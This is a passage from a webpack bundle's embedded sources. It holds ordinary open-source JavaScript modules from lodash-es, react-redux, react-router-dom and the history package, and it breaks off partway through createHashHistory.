version of `baseGetTag` which ignores `Symbol.toStringTag` values.\n *\n * @private\n * @param {*} value The value to query.\n * @returns {string} Returns the raw `toStringTag`.\n */\nfunction getRawTag(value) {\n  var isOwn = hasOwnProperty.call(value, symToStringTag),\n      tag = value[symToStringTag];\n\n  try {\n    value[symToStringTag] = undefined;\n    var unmasked = true;\n  } catch (e) {}\n\n  var result = nativeObjectToString.call(value);\n  if (unmasked) {\n    if (isOwn) {\n      value[symToStringTag] = tag;\n    } else {\n      delete value[symToStringTag];\n    }\n  }\n  return result;\n}\n\nexport default getRawTag;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/_getRawTag.js\n// module id = 130\n// module chunks = 0 1 2 3 4","/** Used for built-in method references. */\nvar objectProto = Object.prototype;\n\n/**\n * Used to resolve the\n * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)\n * of values.\n */\nvar nativeObjectToString = objectProto.toString;\n\n/**\n * Converts `value` to a string using `Object.prototype.toString`.\n *\n * @private\n * @param {*} value The value to convert.\n * @returns {string} Returns the converted string.\n */\nfunction objectToString(value) {\n  return nativeObjectToString.call(value);\n}\n\nexport default objectToString;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/_objectToString.js\n// module id = 131\n// module chunks = 0 1 2 3 4","import overArg from './_overArg.js';\n\n/** Built-in value references. */\nvar getPrototype = overArg(Object.getPrototypeOf, Object);\n\nexport default getPrototype;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/_getPrototype.js\n// module id = 132\n// module chunks = 0 1 2 3 4","/**\n * Creates a unary function that invokes `func` with its argument transformed.\n *\n * @private\n * @param {Function} func The function to wrap.\n * @param {Function} transform The argument transform.\n * @returns {Function} Returns the new function.\n */\nfunction overArg(func, transform) {\n  return function(arg) {\n    return func(transform(arg));\n  };\n}\n\nexport default overArg;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/_overArg.js\n// module id = 133\n// module chunks = 0 1 2 3 4","/**\n * Checks if `value` is object-like. A value is object-like if it's not `null`\n * and has a `typeof` result of \"object\".\n *\n * @static\n * @memberOf _\n * @since 4.0.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is object-like, else `false`.\n * @example\n *\n * _.isObjectLike({});\n * // => true\n *\n * _.isObjectLike([1, 2, 3]);\n * // => true\n *\n * _.isObjectLike(_.noop);\n * // => false\n *\n * _.isObjectLike(null);\n * // => false\n */\nfunction isObjectLike(value) {\n  return value != null && typeof value == 'object';\n}\n\nexport default isObjectLike;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/isObjectLike.js\n// module id = 134\n// module chunks = 0 1 2 3 4","import { wrapMapToPropsConstant, wrapMapToPropsFunc } from './wrapMapToProps';\n\nexport function whenMapStateToPropsIsFunction(mapStateToProps) {\n  return typeof mapStateToProps === 'function' ? wrapMapToPropsFunc(mapStateToProps, 'mapStateToProps') : undefined;\n}\n\nexport function whenMapStateToPropsIsMissing(mapStateToProps) {\n  return !mapStateToProps ? wrapMapToPropsConstant(function () {\n    return {};\n  }) : undefined;\n}\n\nexport default [whenMapStateToPropsIsFunction, whenMapStateToPropsIsMissing];\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/connect/mapStateToProps.js\n// module id = 135\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nimport verifyPlainObject from '../utils/verifyPlainObject';\n\nexport function defaultMergeProps(stateProps, dispatchProps, ownProps) {\n  return _extends({}, ownProps, stateProps, dispatchProps);\n}\n\nexport function wrapMergePropsFunc(mergeProps) {\n  return function initMergePropsProxy(dispatch, _ref) {\n    var displayName = _ref.displayName,\n        pure = _ref.pure,\n        areMergedPropsEqual = _ref.areMergedPropsEqual;\n\n    var hasRunOnce = false;\n    var mergedProps = void 0;\n\n    return function mergePropsProxy(stateProps, dispatchProps, ownProps) {\n      var nextMergedProps = mergeProps(stateProps, dispatchProps, ownProps);\n\n      if (hasRunOnce) {\n        if (!pure || !areMergedPropsEqual(nextMergedProps, mergedProps)) mergedProps = nextMergedProps;\n      } else {\n        hasRunOnce = true;\n        mergedProps = nextMergedProps;\n\n        if (process.env.NODE_ENV !== 'production') verifyPlainObject(mergedProps, displayName, 'mergeProps');\n      }\n\n      return mergedProps;\n    };\n  };\n}\n\nexport function whenMergePropsIsFunction(mergeProps) {\n  return typeof mergeProps === 'function' ? wrapMergePropsFunc(mergeProps) : undefined;\n}\n\nexport function whenMergePropsIsOmitted(mergeProps) {\n  return !mergeProps ? function () {\n    return defaultMergeProps;\n  } : undefined;\n}\n\nexport default [whenMergePropsIsFunction, whenMergePropsIsOmitted];\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/connect/mergeProps.js\n// module id = 136\n// module chunks = 0 1 2 3 4","function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }\n\nimport verifySubselectors from './verifySubselectors';\n\nexport function impureFinalPropsSelectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch) {\n  return function impureFinalPropsSelector(state, ownProps) {\n    return mergeProps(mapStateToProps(state, ownProps), mapDispatchToProps(dispatch, ownProps), ownProps);\n  };\n}\n\nexport function pureFinalPropsSelectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch, _ref) {\n  var areStatesEqual = _ref.areStatesEqual,\n      areOwnPropsEqual = _ref.areOwnPropsEqual,\n      areStatePropsEqual = _ref.areStatePropsEqual;\n\n  var hasRunAtLeastOnce = false;\n  var state = void 0;\n  var ownProps = void 0;\n  var stateProps = void 0;\n  var dispatchProps = void 0;\n  var mergedProps = void 0;\n\n  function handleFirstCall(firstState, firstOwnProps) {\n    state = firstState;\n    ownProps = firstOwnProps;\n    stateProps = mapStateToProps(state, ownProps);\n    dispatchProps = mapDispatchToProps(dispatch, ownProps);\n    mergedProps = mergeProps(stateProps, dispatchProps, ownProps);\n    hasRunAtLeastOnce = true;\n    return mergedProps;\n  }\n\n  function handleNewPropsAndNewState() {\n    stateProps = mapStateToProps(state, ownProps);\n\n    if (mapDispatchToProps.dependsOnOwnProps) dispatchProps = mapDispatchToProps(dispatch, ownProps);\n\n    mergedProps = mergeProps(stateProps, dispatchProps, ownProps);\n    return mergedProps;\n  }\n\n  function handleNewProps() {\n    if (mapStateToProps.dependsOnOwnProps) stateProps = mapStateToProps(state, ownProps);\n\n    if (mapDispatchToProps.dependsOnOwnProps) dispatchProps = mapDispatchToProps(dispatch, ownProps);\n\n    mergedProps = mergeProps(stateProps, dispatchProps, ownProps);\n    return mergedProps;\n  }\n\n  function handleNewState() {\n    var nextStateProps = mapStateToProps(state, ownProps);\n    var statePropsChanged = !areStatePropsEqual(nextStateProps, stateProps);\n    stateProps = nextStateProps;\n\n    if (statePropsChanged) mergedProps = mergeProps(stateProps, dispatchProps, ownProps);\n\n    return mergedProps;\n  }\n\n  function handleSubsequentCalls(nextState, nextOwnProps) {\n    var propsChanged = !areOwnPropsEqual(nextOwnProps, ownProps);\n    var stateChanged = !areStatesEqual(nextState, state);\n    state = nextState;\n    ownProps = nextOwnProps;\n\n    if (propsChanged && stateChanged) return handleNewPropsAndNewState();\n    if (propsChanged) return handleNewProps();\n    if (stateChanged) return handleNewState();\n    return mergedProps;\n  }\n\n  return function pureFinalPropsSelector(nextState, nextOwnProps) {\n    return hasRunAtLeastOnce ? handleSubsequentCalls(nextState, nextOwnProps) : handleFirstCall(nextState, nextOwnProps);\n  };\n}\n\n// TODO: Add more comments\n\n// If pure is true, the selector returned by selectorFactory will memoize its results,\n// allowing connectAdvanced's shouldComponentUpdate to return false if final\n// props have not changed. If false, the selector will always return a new\n// object and shouldComponentUpdate will always return true.\n\nexport default function finalPropsSelectorFactory(dispatch, _ref2) {\n  var initMapStateToProps = _ref2.initMapStateToProps,\n      initMapDispatchToProps = _ref2.initMapDispatchToProps,\n      initMergeProps = _ref2.initMergeProps,\n      options = _objectWithoutProperties(_ref2, ['initMapStateToProps', 'initMapDispatchToProps', 'initMergeProps']);\n\n  var mapStateToProps = initMapStateToProps(dispatch, options);\n  var mapDispatchToProps = initMapDispatchToProps(dispatch, options);\n  var mergeProps = initMergeProps(dispatch, options);\n\n  if (process.env.NODE_ENV !== 'production') {\n    verifySubselectors(mapStateToProps, mapDispatchToProps, mergeProps, options.displayName);\n  }\n\n  var selectorFactory = options.pure ? pureFinalPropsSelectorFactory : impureFinalPropsSelectorFactory;\n\n  return selectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch, options);\n}\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/connect/selectorFactory.js\n// module id = 137\n// module chunks = 0 1 2 3 4","import warning from '../utils/warning';\n\nfunction verify(selector, methodName, displayName) {\n  if (!selector) {\n    throw new Error('Unexpected value for ' + methodName + ' in ' + displayName + '.');\n  } else if (methodName === 'mapStateToProps' || methodName === 'mapDispatchToProps') {\n    if (!selector.hasOwnProperty('dependsOnOwnProps')) {\n      warning('The selector for ' + methodName + ' of ' + displayName + ' did not specify a value for dependsOnOwnProps.');\n    }\n  }\n}\n\nexport default function verifySubselectors(mapStateToProps, mapDispatchToProps, mergeProps, displayName) {\n  verify(mapStateToProps, 'mapStateToProps', displayName);\n  verify(mapDispatchToProps, 'mapDispatchToProps', displayName);\n  verify(mergeProps, 'mergeProps', displayName);\n}\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/connect/verifySubselectors.js\n// module id = 138\n// module chunks = 0 1 2 3 4","function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport warning from \"warning\";\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport { createBrowserHistory as createHistory } from \"history\";\nimport Router from \"./Router\";\n\n/**\n * The public API for a <Router> that uses HTML5 history.\n */\n\nvar BrowserRouter = function (_React$Component) {\n  _inherits(BrowserRouter, _React$Component);\n\n  function BrowserRouter() {\n    var _temp, _this, _ret;\n\n    _classCallCheck(this, BrowserRouter);\n\n    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n      args[_key] = arguments[_key];\n    }\n\n    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = createHistory(_this.props), _temp), _possibleConstructorReturn(_this, _ret);\n  }\n\n  BrowserRouter.prototype.componentWillMount = function componentWillMount() {\n    warning(!this.props.history, \"<BrowserRouter> ignores the history prop. To use a custom history, \" + \"use `import { Router }` instead of `import { BrowserRouter as Router }`.\");\n  };\n\n  BrowserRouter.prototype.render = function render() {\n    return React.createElement(Router, { history: this.history, children: this.props.children });\n  };\n\n  return BrowserRouter;\n}(React.Component);\n\nBrowserRouter.propTypes = {\n  basename: PropTypes.string,\n  forceRefresh: PropTypes.bool,\n  getUserConfirmation: PropTypes.func,\n  keyLength: PropTypes.number,\n  children: PropTypes.node\n};\n\n\nexport default BrowserRouter;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/BrowserRouter.js\n// module id = 139\n// module chunks = 0 1 2 3 4","var _typeof = typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; };\n\nvar _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nimport warning from 'warning';\nimport invariant from 'invariant';\nimport { createLocation } from './LocationUtils';\nimport { addLeadingSlash, stripTrailingSlash, hasBasename, stripBasename, createPath } from './PathUtils';\nimport createTransitionManager from './createTransitionManager';\nimport { canUseDOM, addEventListener, removeEventListener, getConfirmation, supportsHistory, supportsPopStateOnHashChange, isExtraneousPopstateEvent } from './DOMUtils';\n\nvar PopStateEvent = 'popstate';\nvar HashChangeEvent = 'hashchange';\n\nvar getHistoryState = function getHistoryState() {\n  try {\n    return window.history.state || {};\n  } catch (e) {\n    // IE 11 sometimes throws when accessing window.history.state\n    // See https://github.com/ReactTraining/history/pull/289\n    return {};\n  }\n};\n\n/**\n * Creates a history object that uses the HTML5 history API including\n * pushState, replaceState, and the popstate event.\n */\nvar createBrowserHistory = function createBrowserHistory() {\n  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n\n  invariant(canUseDOM, 'Browser history needs a DOM');\n\n  var globalHistory = window.history;\n  var canUseHistory = supportsHistory();\n  var needsHashChangeListener = !supportsPopStateOnHashChange();\n\n  var _props$forceRefresh = props.forceRefresh,\n      forceRefresh = _props$forceRefresh === undefined ? false : _props$forceRefresh,\n      _props$getUserConfirm = props.getUserConfirmation,\n      getUserConfirmation = _props$getUserConfirm === undefined ? getConfirmation : _props$getUserConfirm,\n      _props$keyLength = props.keyLength,\n      keyLength = _props$keyLength === undefined ? 6 : _props$keyLength;\n\n  var basename = props.basename ? stripTrailingSlash(addLeadingSlash(props.basename)) : '';\n\n  var getDOMLocation = function getDOMLocation(historyState) {\n    var _ref = historyState || {},\n        key = _ref.key,\n        state = _ref.state;\n\n    var _window$location = window.location,\n        pathname = _window$location.pathname,\n        search = _window$location.search,\n        hash = _window$location.hash;\n\n\n    var path = pathname + search + hash;\n\n    warning(!basename || hasBasename(path, basename), 'You are attempting to use a basename on a page whose URL path does not begin ' + 'with the basename. Expected path \"' + path + '\" to begin with \"' + basename + '\".');\n\n    if (basename) path = stripBasename(path, basename);\n\n    return createLocation(path, state, key);\n  };\n\n  var createKey = function createKey() {\n    return Math.random().toString(36).substr(2, keyLength);\n  };\n\n  var transitionManager = createTransitionManager();\n\n  var setState = function setState(nextState) {\n    _extends(history, nextState);\n\n    history.length = globalHistory.length;\n\n    transitionManager.notifyListeners(history.location, history.action);\n  };\n\n  var handlePopState = function handlePopState(event) {\n    // Ignore extraneous popstate events in WebKit.\n    if (isExtraneousPopstateEvent(event)) return;\n\n    handlePop(getDOMLocation(event.state));\n  };\n\n  var handleHashChange = function handleHashChange() {\n    handlePop(getDOMLocation(getHistoryState()));\n  };\n\n  var forceNextPop = false;\n\n  var handlePop = function handlePop(location) {\n    if (forceNextPop) {\n      forceNextPop = false;\n      setState();\n    } else {\n      var action = 'POP';\n\n      transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n        if (ok) {\n          setState({ action: action, location: location });\n        } else {\n          revertPop(location);\n        }\n      });\n    }\n  };\n\n  var revertPop = function revertPop(fromLocation) {\n    var toLocation = history.location;\n\n    // TODO: We could probably make this more reliable by\n    // keeping a list of keys we've seen in sessionStorage.\n    // Instead, we just default to 0 for keys we don't know.\n\n    var toIndex = allKeys.indexOf(toLocation.key);\n\n    if (toIndex === -1) toIndex = 0;\n\n    var fromIndex = allKeys.indexOf(fromLocation.key);\n\n    if (fromIndex === -1) fromIndex = 0;\n\n    var delta = toIndex - fromIndex;\n\n    if (delta) {\n      forceNextPop = true;\n      go(delta);\n    }\n  };\n\n  var initialLocation = getDOMLocation(getHistoryState());\n  var allKeys = [initialLocation.key];\n\n  // Public interface\n\n  var createHref = function createHref(location) {\n    return basename + createPath(location);\n  };\n\n  var push = function push(path, state) {\n    warning(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to push when the 1st ' + 'argument is a location-like object that already has state; it is ignored');\n\n    var action = 'PUSH';\n    var location = createLocation(path, state, createKey(), history.location);\n\n    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n      if (!ok) return;\n\n      var href = createHref(location);\n      var key = location.key,\n          state = location.state;\n\n\n      if (canUseHistory) {\n        globalHistory.pushState({ key: key, state: state }, null, href);\n\n        if (forceRefresh) {\n          window.location.href = href;\n        } else {\n          var prevIndex = allKeys.indexOf(history.location.key);\n          var nextKeys = allKeys.slice(0, prevIndex === -1 ? 0 : prevIndex + 1);\n\n          nextKeys.push(location.key);\n          allKeys = nextKeys;\n\n          setState({ action: action, location: location });\n        }\n      } else {\n        warning(state === undefined, 'Browser history cannot push state in browsers that do not support HTML5 history');\n\n        window.location.href = href;\n      }\n    });\n  };\n\n  var replace = function replace(path, state) {\n    warning(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to replace when the 1st ' + 'argument is a location-like object that already has state; it is ignored');\n\n    var action = 'REPLACE';\n    var location = createLocation(path, state, createKey(), history.location);\n\n    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n      if (!ok) return;\n\n      var href = createHref(location);\n      var key = location.key,\n          state = location.state;\n\n\n      if (canUseHistory) {\n        globalHistory.replaceState({ key: key, state: state }, null, href);\n\n        if (forceRefresh) {\n          window.location.replace(href);\n        } else {\n          var prevIndex = allKeys.indexOf(history.location.key);\n\n          if (prevIndex !== -1) allKeys[prevIndex] = location.key;\n\n          setState({ action: action, location: location });\n        }\n      } else {\n        warning(state === undefined, 'Browser history cannot replace state in browsers that do not support HTML5 history');\n\n        window.location.replace(href);\n      }\n    });\n  };\n\n  var go = function go(n) {\n    globalHistory.go(n);\n  };\n\n  var goBack = function goBack() {\n    return go(-1);\n  };\n\n  var goForward = function goForward() {\n    return go(1);\n  };\n\n  var listenerCount = 0;\n\n  var checkDOMListeners = function checkDOMListeners(delta) {\n    listenerCount += delta;\n\n    if (listenerCount === 1) {\n      addEventListener(window, PopStateEvent, handlePopState);\n\n      if (needsHashChangeListener) addEventListener(window, HashChangeEvent, handleHashChange);\n    } else if (listenerCount === 0) {\n      removeEventListener(window, PopStateEvent, handlePopState);\n\n      if (needsHashChangeListener) removeEventListener(window, HashChangeEvent, handleHashChange);\n    }\n  };\n\n  var isBlocked = false;\n\n  var block = function block() {\n    var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;\n\n    var unblock = transitionManager.setPrompt(prompt);\n\n    if (!isBlocked) {\n      checkDOMListeners(1);\n      isBlocked = true;\n    }\n\n    return function () {\n      if (isBlocked) {\n        isBlocked = false;\n        checkDOMListeners(-1);\n      }\n\n      return unblock();\n    };\n  };\n\n  var listen = function listen(listener) {\n    var unlisten = transitionManager.appendListener(listener);\n    checkDOMListeners(1);\n\n    return function () {\n      checkDOMListeners(-1);\n      unlisten();\n    };\n  };\n\n  var history = {\n    length: globalHistory.length,\n    action: 'POP',\n    location: initialLocation,\n    createHref: createHref,\n    push: push,\n    replace: replace,\n    go: go,\n    goBack: goBack,\n    goForward: goForward,\n    block: block,\n    listen: listen\n  };\n\n  return history;\n};\n\nexport default createBrowserHistory;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/es/createBrowserHistory.js\n// module id = 140\n// module chunks = 0 1 2 3 4","function isAbsolute(pathname) {\n  return pathname.charAt(0) === '/';\n}\n\n// About 1.5x faster than the two-arg version of Array#splice()\nfunction spliceOne(list, index) {\n  for (var i = index, k = i + 1, n = list.length; k < n; i += 1, k += 1) {\n    list[i] = list[k];\n  }\n\n  list.pop();\n}\n\n// This implementation is based heavily on node's url.parse\nfunction resolvePathname(to) {\n  var from = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';\n\n  var toParts = to && to.split('/') || [];\n  var fromParts = from && from.split('/') || [];\n\n  var isToAbs = to && isAbsolute(to);\n  var isFromAbs = from && isAbsolute(from);\n  var mustEndAbs = isToAbs || isFromAbs;\n\n  if (to && isAbsolute(to)) {\n    // to is absolute\n    fromParts = toParts;\n  } else if (toParts.length) {\n    // to is relative, drop the filename\n    fromParts.pop();\n    fromParts = fromParts.concat(toParts);\n  }\n\n  if (!fromParts.length) return '/';\n\n  var hasTrailingSlash = void 0;\n  if (fromParts.length) {\n    var last = fromParts[fromParts.length - 1];\n    hasTrailingSlash = last === '.' || last === '..' || last === '';\n  } else {\n    hasTrailingSlash = false;\n  }\n\n  var up = 0;\n  for (var i = fromParts.length; i >= 0; i--) {\n    var part = fromParts[i];\n\n    if (part === '.') {\n      spliceOne(fromParts, i);\n    } else if (part === '..') {\n      spliceOne(fromParts, i);\n      up++;\n    } else if (up) {\n      spliceOne(fromParts, i);\n      up--;\n    }\n  }\n\n  if (!mustEndAbs) for (; up--; up) {\n    fromParts.unshift('..');\n  }if (mustEndAbs && fromParts[0] !== '' && (!fromParts[0] || !isAbsolute(fromParts[0]))) fromParts.unshift('');\n\n  var result = fromParts.join('/');\n\n  if (hasTrailingSlash && result.substr(-1) !== '/') result += '/';\n\n  return result;\n}\n\nexport default resolvePathname;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/resolve-pathname/index.js\n// module id = 141\n// module chunks = 0 1 2 3 4","var _typeof = typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; };\n\nfunction valueEqual(a, b) {\n  if (a === b) return true;\n\n  if (a == null || b == null) return false;\n\n  if (Array.isArray(a)) {\n    return Array.isArray(b) && a.length === b.length && a.every(function (item, index) {\n      return valueEqual(item, b[index]);\n    });\n  }\n\n  var aType = typeof a === 'undefined' ? 'undefined' : _typeof(a);\n  var bType = typeof b === 'undefined' ? 'undefined' : _typeof(b);\n\n  if (aType !== bType) return false;\n\n  if (aType === 'object') {\n    var aValue = a.valueOf();\n    var bValue = b.valueOf();\n\n    if (aValue !== a || bValue !== b) return valueEqual(aValue, bValue);\n\n    var aKeys = Object.keys(a);\n    var bKeys = Object.keys(b);\n\n    if (aKeys.length !== bKeys.length) return false;\n\n    return aKeys.every(function (key) {\n      return valueEqual(a[key], b[key]);\n    });\n  }\n\n  return false;\n}\n\nexport default valueEqual;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/value-equal/index.js\n// module id = 142\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nimport warning from 'warning';\nimport invariant from 'invariant';\nimport { createLocation, locationsAreEqual } from './LocationUtils';\nimport { addLeadingSlash, stripLeadingSlash, stripTrailingSlash, hasBasename, stripBasename, createPath } from './PathUtils';\nimport createTransitionManager from './createTransitionManager';\nimport { canUseDOM, addEventListener, removeEventListener, getConfirmation, supportsGoWithoutReloadUsingHash } from './DOMUtils';\n\nvar HashChangeEvent = 'hashchange';\n\nvar HashPathCoders = {\n  hashbang: {\n    encodePath: function encodePath(path) {\n      return path.charAt(0) === '!' ? path : '!/' + stripLeadingSlash(path);\n    },\n    decodePath: function decodePath(path) {\n      return path.charAt(0) === '!' ? path.substr(1) : path;\n    }\n  },\n  noslash: {\n    encodePath: stripLeadingSlash,\n    decodePath: addLeadingSlash\n  },\n  slash: {\n    encodePath: addLeadingSlash,\n    decodePath: addLeadingSlash\n  }\n};\n\nvar getHashPath = function getHashPath() {\n  // We can't use window.location.hash here because it's not\n  // consistent across browsers - Firefox will pre-decode it!\n  var href = window.location.href;\n  var hashIndex = href.indexOf('#');\n  return hashIndex === -1 ? '' : href.substring(hashIndex + 1);\n};\n\nvar pushHashPath = function pushHashPath(path) {\n  return window.location.hash = path;\n};\n\nvar replaceHashPath = function replaceHashPath(path) {\n  var hashIndex = window.location.href.indexOf('#');\n\n  window.location.replace(window.location.href.slice(0, hashIndex >= 0 ? hashIndex : 0) + '#' + path);\n};\n\nvar createHashHistory = function createHashHistory() {\n  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n\n  invariant(canUseDOM, 'Hash history needs a DOM');\n\n  var globalHistory = window.history;\n  var canGoWithoutReload = supportsGoWithoutReloadUsingHash();\n\n  var _props$getUserConfirm = props.getUserConfirmation,\n      getUserConfirmation = _props$getUserConfirm === undefined ? getConfirmation : _props$getUserConfirm,\n      _props$hashType = props.hashType,\n      hashType = _props$hashType === undefined ? 'slash' : _props$hashType;\n\n  var basename = props.basename ? stripTrailingSlash(addLeadingSlash(props.basename)) : '';\n\n  var _HashPathCoders$hashT = HashPathCoders[hashType],\n      encodePath = _HashPathCoders$hashT.encodePath,\n      decodePath = _HashPathCoders$hashT.decodePath;\n\n\n  var getDOMLocation = function getDOMLocation() {\n    var path = decodePath(getHashPath());\n\n    warning(!basename || hasBasename(path, basename), 'You are attempting to use a basename on a page whose URL path does not begin ' + 'with the basename. Expected path \"' + path + '\" to begin with \"' + basename + '\".');\n\n    if (basename) path = stripBasename(path, basename);\n\n    return createLocation(path);\n  };\n\n  var transitionManager = createTransitionManager();\n\n  var setState = function setState(nextState) {\n    _extends(history, nextState);\n\n    history.length = globalHistory.length;\n\n    transitionManager.notifyListeners(history.location, history.action);\n  };\n\n  var forceNextPop = false;\n  var ignorePath = null;\n\n  var handleHashChange = function handleHashChange() {\n    var path = getHashPath();\n    var encodedPath = encodePath(path);\n\n    if (path !== encodedPath) {\n      // Ensure we always have a properly-encoded hash.\n      replaceHashPath(encodedPath);\n    } else {\n      var location = getDOMLocation();\n      var prevLocation = history.location;\n\n      if (!forceNextPop && locationsAreEqual(prevLocation, location)) return; // A hashchange doesn't always == location change.\n\n      if (ignorePath === createPath(location)) return; // Ignore this change; we already setState in push/replace.\n\n      ignorePath = null;\n\n      handlePop(location);\n    }\n  };\n\n  var handlePop = function handlePop(location) {\n    if (forceNextPop) {\n      forceNextPop = false;\n      setState();\n    } else {\n      var action = 'POP';\n\n      transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n        if (ok) {\n          setState({ action: action, location: location });\n        } else {\n          revertPop(location);\n        }\n      });\n    }\n  };\n\n  var revertPop = function revertPop(fromLocation) {\n    var toLocation = history.location;\n\n    // TODO: We could probably make this more reliable by\n    // keeping a list of paths we've seen in sessionStorage.\n    // Instead, we just default to 0 for paths we don't know.\n\n    var toIndex = allPaths.lastIndexOf(createPath(toLocation));\n\n    if (toIndex === -1) toIndex = 0;\n\n    var fromIndex = allPaths.lastIndexOf(createPath(fromLocation));\n\n    if (fromIndex === -1) fromIndex = 0;\n\n    var delta = toIndex - fromIndex;\n\n    if (delta) {\n      forceNextPop = true;\n      go(delta);\n    }\n  };\n\n  // Ensure the hash is encoded properly before doing anything else.\n  var path = getHashPath();\n  var encodedPath = encodePath(path);\n\n  if (path !== encodedPath) replaceHashPath(encodedPath);\n\n  var initialLocation = getDOMLocation();\n  var allPaths = [createPath(initialLocation)];\n\n  // Public interface\n\n  var createHref = function createHref(location) {\n    return '#' + encodePath(basename + createPath(location));\n  };\n\n  var push = function push(path, state) {\n    warning(state === undefined, 'Hash history cannot push state; it is ignored');\n\n    var action = 'PUSH';\n    var location = createLocation(path, undefined, undefined, history.location);\n\n    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n      if (!ok) return;\n\n      var path = createPath(location);\n      var encodedPath = encodePath(basename + path);\n      var hashChanged = getHashPath() !== encodedPath;\n\n      if (hashChanged) {\n        // We cannot tell if a hashchange was caused by a PUSH, so we'd\n        // rather setState here and ignore the hashchange. The caveat here\n        // is that other hash histories in the page will consider it a POP.\n        ignorePath = path;\n        pushHashPath(encodedPath);\n\n        var prevIndex = allPaths.lastIndexOf(createPath(history.location));\n        var nextPaths = allPaths.slice(0, prevIndex === -1 ? 0 : prevIndex + 1);\n\n        nextPaths.push(path);\n        allPaths = nextPaths;\n\n        setState({ action: action, location: location });\n      } else {\n        warning(false, 'Hash history cannot PUSH the same path; a new entry will not be added to the history stack');\n\n        setState();\n      }\n    });\n  };\n\n  var replace = function replace(path, state) {\n    warning(state === undefined, 'Hash history cannot replace state; it is ignored');\n\n    var action = 'REPLACE';\n    var location = createLocation(path, undefined, undefined, history.location);\n\n    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n      if (!ok) return;\n\n      var path = createPath(location);\n      var encodedPath = encodePath(basename + path);\n      var hashChanged = getHashPath() !== encodedPath;\n\n      if (hashChanged) {\n        // We cannot tell if a hashchange was caused by a REPLACE, so we'd\n        // rather setState here and ignore the hashchange. The caveat here\n        // is that other hash histories in the page will consider it a POP.\n        ignorePath = path;\n        replaceHashPath(encodedPath);\n      }\n\n      var prevIndex = allPaths.indexOf(createPath(history.location));\n\n      if (prevIndex !== -1) allPaths[prevIndex] = path;\n\n      setState({ action: action, location: location });\n    });\n  };\n\n  var go = function go(n) {\n    warning(canGoWithoutReload, 'Hash history go(n) causes a full page reload in this browser');\n\n    globalHistory.go(n);\n  };\n\n  var goBack = function 